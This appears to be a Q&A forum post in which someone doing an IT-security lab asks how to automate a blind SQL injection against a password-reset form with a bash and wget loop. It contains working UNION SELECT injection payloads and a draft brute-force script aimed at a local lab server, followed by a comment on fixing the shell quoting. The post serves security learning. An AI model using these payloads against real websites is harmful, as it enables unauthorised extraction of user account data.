1

For an IT-security lab I try to create a bash script to automate event based blind SQL injection. The website has a forgotten password feature which takes a username and either responds with "an email has been sent" or "error". This website is vulnerable to SQL injections. My aim is to retrieve the admin's username by iterating through the alphabet and challenging the database (The username consists only of a..z). The SQL Injection putting into the username field would be

' UNION SELECT username FROM users WHERE username LIKE 'a%' AND admin=1 -- -

to check if the admin's username starts with an 'a'. Next I would check 'b' and so on. I know I got the right letter when the page retrieve_password.html will be delivered otherwise it will be error.html. As soon as I got a positive feedback I will continue with the next digit, e.g. 'aa', 'ab' and so on. After each positive feedback I would check if I already have the full name by:

' UNION SELECT username FROM users WHERE username='abc' AND admin=1 -- -

My rough idea of the script:

    #!/bin/bash

for ((i=0;i<50;i++))
do
  for x in {a..z}
  do
    wget --post-data 'username=\' UNION SELECT username FROM users WHERE username like \'$name$x%\' AND admin=1 -- -' http://127.0.0.1:8081/retrieve_password

    if [ #positive feedback ]
    then
      #Try if correct username is already retrieved
      wget --post-data 'username=\' UNION SELECT username FROM users WHERE username='$name$x' AND admin=1 -- -' http://127.0.0.1:8081/retrieve_password

      #If username was found exit
      if [ #positive feedback ]
      then
        echo $name$x
        exit
      else
        name+=$x
        break
      fi
    fi
  done
done
  1. What would be a proper wget statement for my purpose?
  2. How do I process the response to my wget post request?
user73347
  • 47
  • 3
  • 2
    You can't use escapes, single quotes, or variables inside a single-quoted string; you want double-quotes instead. See ["Difference between single and double quotes in Bash"](https://stackoverflow.com/questions/6697753/difference-between-single-and-double-quotes-in-bash). – Gordon Davisson Jan 27 '23 at 04:02
  • I got it solved. Thanks for the hint of the double-quotes. The respond is easly checked by grep on the downloaded html file. – user73347 Jan 27 '23 at 10:29

0 Answers0